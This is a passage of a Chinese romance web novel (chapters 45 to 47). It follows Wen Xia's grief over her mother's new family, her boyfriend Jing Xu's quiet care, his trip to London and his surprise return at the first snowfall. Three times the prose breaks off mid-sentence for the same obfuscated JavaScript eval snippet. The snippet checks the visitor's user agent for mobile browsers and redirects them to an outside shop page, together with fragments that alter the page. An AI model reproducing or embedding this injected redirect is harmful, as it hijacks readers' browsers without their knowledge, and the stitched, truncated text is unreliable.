温夏继续说着:“她有丈夫有儿子,现在这样也挺好的,我就不要再去打扰她了。” 景栩说:“没关系。” 做出什么样的选择都没关系。 在去见陈杏之前,温夏想了很多,甚至哭过两次。 她知道就是去见个人,没什么可矫情的。可景栩这么说了之后,她忽然明白,这不是矫情。 即使是矫情,他也愿意承担这份矫情。 在景栩这儿,她的一切都被在乎着。哪怕只是生活里的一些极其细枝末节的东西、她自己都没注意到的东西,他都小心翼翼地在乎着。 像蛋白小心翼翼地包裹着蛋黄。 45. 没中奖 温夏想清楚之后,把那张写有陈杏号码的纸条给扔掉了。 也尝试着,把那串号码从自己脑海里抹去。 这世间缘分最是奇妙。 自从那次见面后,温夏就再也没有见过陈杏,甚至半点消息都没听到过。 直到——七月底。 七月底,温夏手上的一本短剧已经进入后期阶段,字幕制作上她就熬了一周。她将字幕文件交给米娅的时候,很多人已经开始了喧闹鼎沸的夜生活。 不知不觉,已经凌晨三点。 温夏从米娅的办公室出来,回工位关了电脑下班。 她没给景栩打电话让他来接。 景栩之前跟进的市实验新校区图书馆的项目,昨天已经正式施工。 他暂时不接新的案子,说要好好休息一阵子,宋陆鸣约了他好次都没能约出去。 她实在不忍心霸占他的休息时间。 但景栩半小时前才给她发消息,想到他之后很大可能会睡个天昏地暗,估计不回腾出时间吃饭。她就去他们常去饭店买了些炒菜,外带去了他的公寓。 她刷了电梯卡,到景栩家门口,轻车熟路地输入密码。 走进去里面一片漆黑,她去卧室看了眼,没人。 之后又去书房看了眼,也没人。 没回来吗? 还是出去吃饭了? 温夏给他打去电话,他很快接通,打了个哈欠才困意滔天地叫她:“夏夏。” “你在哪?”温夏问。 “医院,我……” 话没说完,通话就被掐断。 温夏听着那声“滴”,眉间浮起担忧的神色,赶紧跑下楼。 人一慌就容易六神无主,她跑出电梯才想起来给景栩打回去。打回去却被提示“你拨打的电话已关机”。 她伸手拦车,却没车停下来。 这几分钟里,她又打了好几个电话,无一例外都是关机。 好不容易拦到一辆,她立刻开了车门钻进去:“师傅,去医院。” “哪家医院?”师傅问。 “……” 温夏不知道,张着唇却说不出半个字。 犯难之际,手机里进来一串陌生号码,她接起,电话那端传来景栩的声音:“夏夏……” 听到他的声音,温夏松了口气,但很快又紧绷起来。 “你在哪家医院?”温夏没等他把话说完,立即丢了好几个问题,“怎么会去医院呢?发生什么了?受伤了吗?” 她问完,听见景栩低低笑一声,“在青大三院,放心,我……”没事儿。 话没说完,他听到温夏说“师傅,青大三院”,他半垂着眼:“同事低血糖晕倒了,送她过来。”景栩安抚着她,“放心,没什么事儿。” 说完,他又解释:“刚才是手机没电了。” 尽管她这么说,温夏这口气也没完全松下来:“我现在在去医院的路上。” 景栩知道她得亲眼看一下才会放心:“我在这等你,听说三院的食堂不错。” 半小时后,温夏到达医院大门口。 景栩早就等着,他的第一句话是:“真的没事儿。” 市医的住院部和大门离得最远,温夏说:“不用特意跑出来等。” “知道你总要看一眼才会安心,”景栩牵起她的手,慢悠悠地,“所以我早点出来,你早点看到我。” “你同事呢,怎么样了?”温夏问。 “她输着液呢,没什么大碍。”景栩走进三院门口的水果超市,“带你去见见她。” “嗯?” 景栩偏头看她:“这女同事好像对我有想法,带你去宣誓个主权。” “……” 到病房,温夏和病床上的人还没开口,景栩先出声了:“宝宝,这是我工作室的合伙人陈旭然。陈总,这是我女朋友,温夏。” 两个女生互相点头算是打过招呼。 景栩把水果篮放在病床的床头柜上:“我说都是同事不在意这些,但我女朋友说让我打好同事关系。没办法,得听老婆话。” 温夏:“……” 景栩持续输出:“我刚才问过医生了,你没什么大碍,有什么事儿按铃就行,或者你给你朋友家人打个电话,让他们过来照顾下你。我要带我女朋友去吃晚饭了。” 温夏:“……” 陈旭然:“……” 走到一楼,温夏忽然停住脚步。 景栩注意力一直放在她身上,在她视线定格的那一秒,偏头顺着她的目光看过去。 陈杏和一个气质儒雅的男人正拉着一个十七八岁模样的少年。 此时夜深人静,医生护士各自沉默地忙着,穿梭在医院大厅,偶尔有几句交代“三号床病人该换吊水了”“十五床的病人又偷偷跑出去了,快通知家属”之类的话。 他们离得不远,温夏能听到陈杏带着宠溺的责怪:“非要去搞那个什么无人机,都饿瘦了。为了搞那个破无人机,连健康都不顾了是吧?还把弄得肠胃炎进了医院,你想急死我跟你爸是不是?” 少年揽过陈杏的肩膀,混不吝的样儿,漫不经心地吐出一句:“放心母亲大人,不会有下次。” “再有下次,我死都不会让你再研究那个无人机。”陈杏说。 温夏站在原地,看着他们一家三口渐渐走远,眼眶不知不觉湿润。 看着这一幕,温夏忽然想通了很多事。 夏日白昼长,天亮得早。 此时天已经亮了,市医楼下那条街上多了许多卖早餐的小摊,空气里除了晨露的味道,还有各类小吃的味道。 在微凉的空气里,天边倾斜出第一缕薄光。 街道热闹繁荣,温夏走在人群里,显得尤为格格不入。 在三院的食堂里吃完早餐,两人往出走。景栩牵着她的手走进了一家蛋糕店,给她买了一个草莓蛋糕。 到地下车库,景栩替她系好安全带。 温夏捧着那个草莓蛋糕,嗫嚅道:“谢谢。” 谢谢这种时刻,你陪在我身边。 “谢什么。”景栩发动车子,“我应该做的。” - 温夏拒绝了景栩送她回去休息的提议,让景栩直接送她去公司。 她坐上工位就哈欠连连,午休的时候,趴在工位上睡了个天昏地暗。 傍晚,下班前,项目主管米娅姐通知加班。 但经过她工位时,冷着脸说:“从早上过来就一直半死不活的,先滚回去休息。” 温夏耸耸肩,知道这是她们嘴硬心软的主管又借着刀子嘴大发慈悲,立刻狗腿地收拾东西滚了。 走之前不忘强装快乐、假装俏皮地冲米娅来了个wink,“谢谢老大,回来给你带小蛋糕。” 米娅摆摆手:“快滚,明天晚上九点前,把手上那本《玫瑰城》收尾交给我。” 走出公司,温夏脸上强装出来的无所谓立刻消失殆尽,无力感从骨子里拨开层层皮肉,又开始浮出来。 她走到马路边。 此时天光大好,橙黄色晕满天边,最显眼的是夹杂了点残红的天际线,隐在这座钢铁森林里。 下班高峰,城市里的各种车都挤在马路上,鸣笛声此起彼伏。 这座城,热闹而漂亮。 温夏以前会十分有闲情逸致地停下来欣赏这幅画,但今天实在没有多余的精力。 她站在风里摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997436|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇欲坠。在医院看到的那一幕一遍一遍在脑海里重复播着,酸涩成倍地往上涌。 她期盼了十多年的东西,就像是泡影,都不用刻意戳,猝不及防地“啪”的一下就破了。 陈杏新家庭的幸福像是在她脑子里积攒了千万吨,在猝不及防间从阀门泄下,然后在她团成好重的一团黑云,压得她头昏脑胀。 她终究没撑住,晕了过去。 她倒下去前,被稳稳接住,她看到一脸担忧的景栩。 她没晕太久,见她转醒,景栩立刻按响床铃。 医生检查过,说她身体没有大碍,只是情绪波动太大,加上连续熬夜,身体扛不住才晕了过去。 她不说话,景栩就坐在她床头,哄着她吃了些东西。 一勺一勺喂,一句一句哄。 医院的窗户,内侧安装了纱网,傍晚橘黄的余晖穿过层层物质漏进来,照在病床上,斑斑点点。 那些光线轻柔细微,像是裹挟着好些不知名的情绪,以一种极端的方式钻进她的脑海里。 压垮她的那些情绪太复杂,具体是什么她也说不上来。 她恨上天安排了这样一个操了蛋的时机让她们母女重逢,但更恨自己的敏感脆弱和自以为是。 被爱好似中彩票。 她一向运气不好,所以,没中奖也正常。 正常的。 对吧? 她一直低着头,不说话,也不看他。 最后一缕残阳消失的时候,她终于有了点点反应。 她抬头看向景栩的那瞬,后者被她眼底的悲戚看得心头一惊。 那个眼神要怎么形容? 所有色彩都消失,只剩下一眼望不到头的迷惘。 她动了动唇,却发现眼泪被语言先出来。 “景栩。” 景栩抱着她,拍着她单薄的背脊,“在呢。” 她在他怀里无声落泪,哭过后,她就行像一个木偶娃娃,毫无反应。 即使她毫无反应,景栩今晚仍说了很多很多的话。 景栩多细心的人啊。 想用这种方式来分散她的注意力,可她像是没有了所有感官,感受不到他的存在。 温夏的状态显然不太适合工作,原本八月底辞职回学校上课的计划,现在不得不提前。她强迫自己加了几天班,把手上快要收尾的剧本完成后,就递交了辞职信。 她辞职的事儿没跟任何人说,一来没有时间精力,二来她觉得这没什么可说的。直到看到她的工位清空得干干净净,同事们才反应过来温夏要走了。 那天中午,部门的同事在仓促间给她办了一场简单的欢送会。 甚至收到了一个十分用心的草莓蛋糕。 她请大家喝了咖啡,这群可爱的年轻人说虽然不做同事了,但仍欢迎她随时回来玩,欢迎她随时约饭。 大家或许是感受到了她情绪的不对劲,在她离开前,都过来抱了一下她。 都不约而同在她耳边说一句:“要开心啊。” “温夏。”车开出去后,他突然喊了她一声。 “嗯?” “我知道这句话不合时宜,但我还是想告诉你。”他顿住,超了两辆车后才说,“会有很多很多人爱你。” 如果没有。 那我就给你很多很多爱。 温夏关于这天的记忆是非常杂乱的。 但年深月久,她记得最深的就是这一幕—— 男人雾蓝色衬衫袖子半挽到小臂以上,清晨的阳光照进车里,没入他的发丝,眼底因为陪着她一夜没睡而浮着浅浅乌青。 阳光刺眼。 但最亮的。 是他说这句话时的眼睛。 46. 吻泪痕 温夏辞职后回了宿舍一趟,本来之前和景栩商量好了,他帮她搬去研究生宿舍,她直接就在宿舍住下了。 但最近发生这些事,景栩担心她的状态,不放心把她一个人放在宿舍里,直接把她带回了住处。 温夏没有力气和他周旋这些,对他一副听之任之的模样。 她最近对什么都了无兴趣,衣食住行都随意得紧,他说什么就她就应什么。 景栩暗自叹了口气,却也不敢太明显。 他无数次庆幸,自己陪在她身边。 他想,自己的存在,也许,或多或少能替她冲淡些悲伤。再不济,他能照顾着点她的饮食起居。 景栩的车行驶在宽阔大道,此时霞光漫天,温柔地映在她的侧脸上,本该是一幅浸满生机、织满灵气的一幅画。 但景栩偏头看过去,莫名觉得被框进眼睛里的画面灰蒙蒙。 到家停好车,从车库出来,他牵起她的手,轻轻捏,“今天想吃什么?” “都行。” “给你做意大利肉酱面?” “嗯。” 景栩知道,温夏根本没听到他说什么,只是出于本能的礼貌,才对他有问必答。 之后一段时间,景栩带她去了堰青榜上有名的餐厅,各种口味的东西都尝试过。但她没什么胃口,吃什么都是两口就说饱,他好不容易养起来的那点儿肉,迅速消失了。 这种情况持续一周后的某天,他随便给她做了碗清汤面当宵夜,她居然吃完了。 他就想,她爱吃他做的东西,那他就努力学学。于是找家里的厨师学了写容易上手的家常菜和汤面类的食物,每天做给她吃。 这一周,景栩每天都会带她下楼散步。 每天散完步,都会去水果超市买些新鲜水果,柑橘类的鲜果买得最多。 这天吃完晚饭,两人照常出去散步,回来后温夏看向景栩手里拎着的袋子:“今天买了什么?” “柠檬和金桔。” 仔细想想,景栩最近很喜欢所有跟柑橘类沾边的所有东西。 他最近好像格外喜欢这类味道,沐浴露和洗发露不知道什么时候换成了带柑橘调的;香水换了个牌子,据说那家品牌做柑橘类香调的香水更好闻;大夏天的用上了护手霜,也是柑橘味;卧室和客厅用的香薰也换成了柑橘调的喷剂;就连床头柜都没放过,摆上了柑橘类的新鲜水果…… 温夏自然是没力气注意这些。 这些都是晚上景栩请朋友们来聚会,听宋陆鸣告诉她的。 被宋陆鸣这么一说,温夏才发觉,之前景栩身上的味道是橡木苔味,像森林里晨间的一隅,带着潮湿的清新感。 之后换成了某奢牌的乌木与佛手柑那款香水。 从什么时候开始的呢? 好像是从他们在医院看到陈杏一家后,她闷闷不乐开始的。 温夏没怎么在意,只当他是想换一种生活方式了。 宋陆鸣十分欠揍地说:“夏夏你要注意,他这是在开屏了,没准儿是准备钓哪个新认识的妹妹。” 杜嫄一巴掌拍在宋陆鸣脑袋上:“挑拨离间上了?土鳖吧你,柑橘类的水果有助眠效果,它们散发的香味苧烯能使大脑放松。栩哥说这段时间睡不好,特意做了攻略买的。那几天天天来烦我,我都快被他搞失眠了。” 杜嫄是调香师,对这些自然了解。 景栩资源利用,烦了她两天。 宋陆鸣咬了口芭乐,差点没笑出来:“他?按他的性格,就算哪天世界末日了,他都能安稳入睡等地球爆炸。他有什么睡不好的?” 杜嫄耸肩:“可能是因为项目的事儿失眠,鬼知道。” 温夏在旁边安静地听着他们的对话,整个人直接愣住。 这段时间睡不好的人不是景栩。 是她。 难怪他要把所有日用品换成柑橘调的东西,难怪他放在床头的那些柑橘类鲜果就算吃不下也会每天换新的。 她记得,刚在一起那会儿,景栩和她一起去逛街,她在专柜上看到一款香水,柑橘调的,他当时说这种香调太甜了他不喜欢。 温夏低着头,眼皮垂着,盯着手里的这杯鲜榨橙汁看。 橙汁估计也是景栩觉得有“助眠功效”,才每天给她榨一杯。 景栩和其他几个朋友出去买菜了,剩下他们三个在家。 没多久出去采购的人回来,景栩看到温夏手里的果汁一口没动。这杯橙汁是他出去采购前榨的,这都快一个小时了。 景栩换了拖鞋,他的朋友们相互招呼着去了厨房。 温夏也起身去厨房帮忙。 这场聚会并不像以往到凌晨,十点不到景栩就开始赶人。 等人走完,两人把家里打扫干净后,温夏去洗了个热水澡。 从浴室出来,正好端着杯温牛奶进来,顺手把摆在她床头的果盘换了。 景栩给她吹了头发,然后拿起梳妆台上的精油,温夏这才发现,护发精油也被他换成了柑橘调的。 她垂着头,忽然肩膀一抽一抽。 景栩去洗了个手,在她面前蹲下,替她擦眼泪。 他指腹轻缓划过,在她面部肌肤上留下一串温热:“哭什么?” 她不说话,眼泪掉在他放在她膝盖的那只手的手背上。 景栩觉得那不是眼泪。 那是岩浆。 很烫。 仿佛灼伤他的皮肤,痛感慢慢延伸到了心里。 他起身,扣住她的下巴,在她眼下落了一个吻。停住两秒,他的唇顺着她的泪痕一寸一寸往下。 像是想把她的眼泪吻干。 他吻得温柔细致,温夏的眼泪却越来越凶。 他把温夏抱在怀里,声音尽量放轻,像是怕惊扰水晶球里易碎的娇贵的公主。 但她根本就不是什么公主。 她止住哭,没什么力气地把手搭在他的腰上:“景栩,你不用对我这么好的。” 她从来没想过,能和景栩走到最后。所以她努力克制着自己的喜欢,哪怕它在心里翻涌,表面也装得云淡风轻。 能短暂抓住这束光,她已经不敢奢求太多。 她知道自己从来不是世界的主角,依旧他身边会有一个同他更加相配的姑娘,那就是她黯淡退场的时候。 史铁生早就写过,有些事只适合收藏。 她不想让这些值得收藏的事太多,离开时心会负累。 景栩不知道她年少时隐秘的心事,自然也不知道她心底那些厚重的自卑,也不明白她为什么明明已经是他的女朋友,却还总一副想和他撇清关系的样子。 他轻拍着她单薄的背,“你这样,我好愧疚。” 她总说他对她很好。 可他明明没做什么,就让她觉得他这样好。 景栩从小做什么都发蒙振落,任何事对他来说都想呼吸那样简单,偏偏对她束手无策。 他低头,一个吻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027010|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落在她头顶:“温夏,我该怎么做?” 该怎么做,才能让你变得鲜活? 温夏止住哭,问:“你什么时候出国?” “还早。”景栩似是叹了口气,“何况,你这样,我不放心走。” “我会好起来的。” 她这句话说得可怜巴巴,带着点不安。 景栩揉揉她的发:“心疼死了。” - 时间流淌向前。 景栩出国的日子越来越近。 这段日子他想方设法逗温夏开心,送她各种礼物,带她去许多旅游城市散心。 好在,在他出国前,好像真的把她哄开心了不少。 景栩走之前,去帮温夏搬了宿舍。 研究生宿舍两人一间,还有一个小客厅,搬完后,景栩给她买了些助眠香薰放在宿舍里。 他出国前一晚,把公寓的钥匙留给温夏:“如果宿舍住腻了,随时过来住。” 她性子温温慢慢,不知道为什么,他总担心她手委屈受欺负。 公寓,也勉强算得上一个避风港。 景栩走后没几天,温夏开学。 开学当天导师就开了场组会,说是组会,也不过是师兄师姐借着由头开的一场迎新会。 温夏选的翻译方向,导师是一个快五十岁的老头儿,一双眼睛快要眯成缝,笑起来更是看不见了。 还是温夏大三时的高听课老师。 他一直很喜欢温夏,觉得这姑娘上进又不服输,上了战场那种不要命的劲儿和谁都能拼一拼。 他是学校德高望重的老教授。胡决明的严格和挑刺是学校出了名的,最重要的,是他这两年很少收学生了。 温夏本来没敢报他的研究生,没成想,他直接把人给抢过来了。 研究生的生活比想象中的还要枯燥,每天泡在文献里,每天都要啃很多生涩难懂的硬骨头。 但这样充斥着忙碌的生活状态,也压缩了温夏想到陈杏的时间。 胡教授门下的学术氛围十分融洽温馨,有任何人有需要,求助同门,从来不会碰壁。 日子平静充实地往前流。 某天傍晚,温夏从图书馆出来,背了一个很大的包,里面装了好几本厚得要命的英文文献。 走到学校那条梧桐大道时,一片泛黄泛脆的梧桐叶被风卷到她脚边,风像是顺道,钻进他的衣服里。秋风索索,她缩了缩脖子,裹紧身上的外套。 抬头一看,发现叶都黄得差不多了。 她拿出手机拍下这一幕,发给远在他国的景栩:【秋天啦。】 在伦敦的阴雨天气里的景栩正手绘完一张图纸就收到她的消息。 他冲着窗外随手拍了一张,此时伦敦上午九点一刻左右,外面看起来却灰沉压抑,像被一块密织的黑布严丝合缝地照着。 图片传过来的下一秒,他发过来一条语音:“夏夏。” 这条语音就只有一秒。 景栩好像很喜欢叫她的名字,每次发语音,一定会单独用一条来叫她。 下一秒,另一条语音进来: “伦敦降温了。” 两秒后,又是一条语音:“虽然这样的转折很生硬,但是——” 又隔两秒,进来两条语音。 他语调慵懒,夹杂着一点带着撒娇的委屈,似乎还裹挟了点伦敦阴雨天的早雨凉意: “北京时间17:15分。” “我很想你。” 47. 今年雪 温夏听完,保持着举着手机放在耳边的动作,整个人僵在原地。 他经常说情话给她听,许多时候是安静的夜,他唇贴在她耳边。 但她每一次的反应都是原地石化。 有光亮的时候,景栩会看到她红得明显的脸颊。 后来,在黑夜里,景栩说完情话,会抬手摸摸她的脸,一定会有灼热的触感。 再后来,景栩甚至都不用猜就能知道她红了脸。 每次景栩都会说一句,“究竟是谁家的女朋友这么可爱。” 说完,自己又欠登儿地补一句:“景栩家的。啧,景栩这小子真有福气。” 温夏因为害羞,很少有回应他的时候。 今天景栩以为自己又在唱独角戏,没想到收到同样句式的两条语音: “北京时间17:17分。” “我很想你。” 不是因为你想我,我才想你。 所以我咬文嚼字地删掉了“也”字。 - 堰青的冬天一向降临得很早。 秋天好像一眨眼就过去,校园里好多树已经光秃秃了。好几次温夏从自习室回宿舍,总能看到地上那些张牙舞爪的影子。 十一月的最后一天,温夏和师兄师姐们从胡教授家回学校。 走到宿舍楼下时,堰青下了初雪。 她兴高采烈地给景栩打去视频,接通的那一瞬间,她开口就是脆生生的一句:“景栩,下雪啦!” 此时她正站在路灯下,温黄的灯光轻纱似的垂下来,落在她卷翘浓黑的睫毛上。 她看起来心情很好,说话时调子都不自觉上扬。 景栩听起来很疲惫,却仍染上笑意:“这么高兴?” “也没那么高兴。” 温夏顿一瞬,而后小声嘟囔,“今年的雪来得太早了。” “嗯?” “都没等你回来再下。” 她还是第一次别别扭扭地说出这种强盗逻辑,景栩无奈笑出声。 几秒钟后,他敛起笑意,问:“那如果,我在你身边的话,你会高兴点儿吗?” 温夏眨眨眼,不同于景栩松弛散漫的状态,她很是认真地答:“会的。” 然后。 下一秒。 她听到一句—— “温夏,回头。” 温夏甚至没来急分清这句话是来自耳机,还是来自真实的世界——她的身后,就下意识跟着指令回头,看到站在另一盏路灯下的景栩。 灯光柔和,光晕像是以他为中心扩散开来。 他一脸笑意地看着她,双臂微微抬起,做了一个迎接拥抱的姿势。 她没想到景栩会出现在这里,转身后除了眨眼就没再有其他动作。 景栩唇边的笑意扩大,半挑着眉,即使时隔这么多年,他身上那股意气风发的劲儿还是丝毫未敛。 他说:“不过来抱我?” 温夏还没从惊喜中缓过神来,就没动。 或许,用不知道先迈哪只脚来形容更加贴切一些。 见她还愣在原地,景栩微微偏头,而后往下弧度极小地往下垂,整张脸上写满了“拿你没办法”,双手却一直没放下来。 他迈开步子,一步一步走向她。 温夏想起和他重逢的那个冬天,下初雪时,他一步一步往前走,离她越来越远。 现在,他却一步一步走向她,离她越来越近。 他在她面前站定时,她似乎闻到了些薄薄的风雪气。 他像一个漂泊许久的旅人,双手圈住她,整个人低下去,将整张脸埋进她的颈窝里,学着元宝蹭他的样子,轻轻在她颈窝里蹭了蹭:“那我来抱你好了。” 温夏听到这句话,眼泪毫无预兆地就落下来了。 在她听来,这句话就好像—— “你朝我走了那么久,辛苦了。” “这次,就由我走向你。” 她的眼泪景栩始料未及,有些好笑:“哭什么?” “你怎么来了?” 景栩替她揩干眼泪:“因为有人说过,下雪的时候,有我在的话,她会高兴。” 温夏眼泪更凶了。 景栩失笑:“温小夏,你娇气死了。” 自从确定关系,这姑娘好像总爱在他面前掉眼泪。 而且大多数时候,是毫无预兆就掉了。 刚开始他会因为这突如其来的眼泪无措,到后来,他哄人前总会用他特有的懒音说一句“温小夏,你娇气死了”。 他微微弯腰,视线同她持平。 他温热的指腹还停留在她眼下,冲着她笑:“听说下初雪的时候,许的愿望都会实现。我送你一个愿望,不哭了,行不行?” 温夏摇头,景栩拖长尾音“啊”了一声:“有点棘手呢。那我看网上有那个什么入冬八件套,给你安排上行不行?” 温夏赶紧又摇摇头:“不用的。” “那你教教我,要怎么哄,”景栩点点她的额头,“我女朋友才不哭?” “我摇头的意思是——”温夏低下头,有些不好意思,声音也渐低,“我的愿望已经实现了。” “嗯?” “我的愿望就是,今年下初雪的时候,你在我身边。” 景栩失笑:“这也哭。” “那以后怎么办?” 温夏抬眼,两人视线在冰天雪地里慢慢升温。女孩眼睛亮晶晶,唇瓣莹润,帽子是白的,围巾和外套也是白的,像只属于冬天的小精灵。 景栩没忍住扣住她的下巴吻上去,察觉到她细微的回应,大手扣住她的后脑勺,自己也情不自禁往前凑,加深这个吻。 这个吻持续了好几分钟,温夏快要喘不上气,轻轻推他。 他慢慢退开,彻底离开前,舌尖还在她的唇瓣上轻轻舔了一下,弄得她心痒痒。 景栩又蜻蜓点水亲一下,带着未退的情欲,嗓音比平时沉了不少,在空寥的夜里显得格外勾人: “温夏。” “以后初雪,我都在你身边。” 景栩这次过来没能呆多久,第二天天没亮就踏上飞伦敦的飞机。 走之前,他拥着温夏,“夏夏,你跟我走吧。你总爱哭,我总不太放心。” 温夏笑他幼稚,她学业尚未完成,怎么可以抛下一切说走就走。 景栩没再说话,在她额头上落下一个吻:“睡吧。” 他当然负担得起她的人生,可怀里的这个姑娘,并不想依附于他。 此刻多说已经没有必要。 温夏沉沉睡去,他借着窗外的月光看她的睡颜,安静温柔。 而他将她搂的更紧,让他们之间的距离更近。 景栩在飞机上想起这一幕,嘴角不自觉扬起。 他看向窗外,云层厚重,层层叠叠。 他忍不住想。 那大概,是他们结婚以后的样子? - 短暂的相聚后,两人又各自陷入忙碌中。 温夏这期间跟着胡教授参加了一场国际峰会。她当然没有担任主要的翻译角色,主要是在峰会开始前协助胡教授查阅资料。出席峰会那天,随后的冷餐会上,胡教授将温夏介绍给许多人认识。 冷餐会结束时,师兄宋有临替她披上大衣,“表现不错,专业、从容、优雅。” 温夏道了句谢,而后谦虚地回了句:“惭愧,担不起。” 宋有临摆摆手,“别妄自菲薄,这不是我夸的。刚从会议厅出来,那些金发碧眼的洋人都这么夸。” “……” 胡教授用手里的口译本狠狠地敲了一下宋有临的头:“臭小子,离夏夏远一点,你要敢祸害她,我饶不了你。” 宋有临被打也不恼,笑着离温夏远了两步的距离:“老师,我也是您学生,这区别对待是不是太明显了?” 胡教授这么护着温夏也不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056935|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有道理。 宋有临花名在外,一周能换三个女朋友。 他的确有资本,帅气多金,高挺的鼻梁上常年架着一副玫瑰金的细框眼镜,喜穿白衣,表面看去,是位儒雅斯文的翩翩公子。偏那双桃花眼看谁都深情,靠着这双眼和祖辈打下来的资本招蜂引蝶。 但他对感情的新鲜感很容易褪去,因此惹了许多姑娘红了眼伤了心。 事实上他给温夏披上大衣后就立刻从她身边退开了,送胡教授上车后,他散散漫漫地喂给胡教授一颗定心丸:“老师放心,兔子不吃窝边草,对象我到北京找。” 胡教授听他说这句话,叹了口气,却也只是一瞬:“你小子,负责把夏夏给我安全送回去。” “知道了。” 宋有临去车库把车开出来,那辆黑武士的车身几乎要和这浓稠的夜融合在一起。 宋有临算不上一个多绅士的人,他停好车,温夏自己拉开椅子坐了进去。 温夏上车后,扣好安全带,就听宋有临吊儿郎当问了句:“敢上我的车?不怕我把你吃干抹净了?” 温夏神色平常,语调更是平静得不像话:“有什么不敢?” 宋有临没再说什么,发动车子,车身立刻箭似的飞了出去。 关于宋有临的传闻,还有后半部分。 据说和他为了隔壁学校的顾岑书浪子回头,两人同届,轰轰烈烈地谈了两年,大四毕业那年顾岑书一声不响跑去了北京,到现在宋有临研三,已经有三年光景。 本来大家以为,宋有临这样的人,没了一个顾岑书,还会有陈岑书、杨岑书、古岑书……没想到,顾岑书走之后,他海王上岸,洁身自好。听说他这几年没少往北京跑,所以刚才他才会说那句“兔子不吃窝边草,对象我去北京找”。 但他每次回来都跑去酒吧里买醉。 大家都说,这一看就是海王想上岸,但岸没了。 温夏不是个八卦的人,但这几个月相处下来,她和宋有临也算是损友。 她把那些八卦完整地复述给他听,然后一脸无辜地问:“宋师兄,是真的吗?” 宋有临睨她一眼,给气笑了。 到底是谁说这死丫头乖的? 拿着盐巴往人伤口撒,一撒一个准,撒完了还要使劲揉两把。 偏偏看过去,她还一脸无辜。 仿佛是真的在向你讨什么真知灼见。 温夏没觉得宋有临会回答,没想到这人咬牙切齿地回了句:“真的。” “……” “他妈的比真金都真。” 这句已经有点咬牙切齿的味道了。 温夏懒懒靠着,没再和他说话。 她偏头看向窗外。 车窗突然降下,不到两秒又合上。 但嚣张刺骨的冷风已经抓住机会灌进来,温夏冷得裹了裹大衣。 她无语地望向罪魁祸首:“幼稚。” 宋有临把空调调低一点点,然后得意地望向温夏,像在说“我就是幼稚,你能拿我怎么样?” 温夏翻了个白眼,没再搭理他。 回到宿舍,她室友没在。 宿舍里装了空调,温夏开了半个小时还不见房间变暖,才想起来前几天室友跟她说过空调坏了。 今天实在太累,现在又实在太晚,她实在没有为了暖气跑去景栩住处的必要,就快速冲了个热水澡,爬上床裹紧了被子。 她在被子里给景栩发消息:【今天堰青又更冷了。】 她有点想问景栩今天有没有想她,但她又觉得太过直白,怕景栩又调侃她。 思忖好半天,她才咬着唇发出一句:【伦敦降温了吗?】 很委婉吧? 但他应该能懂。 很快景栩回:【嗯。】 温夏捧着手机“啧”了声,真冷淡。 他像是故意卖关子似的,隔了一分钟才又发了一条: 【想了。】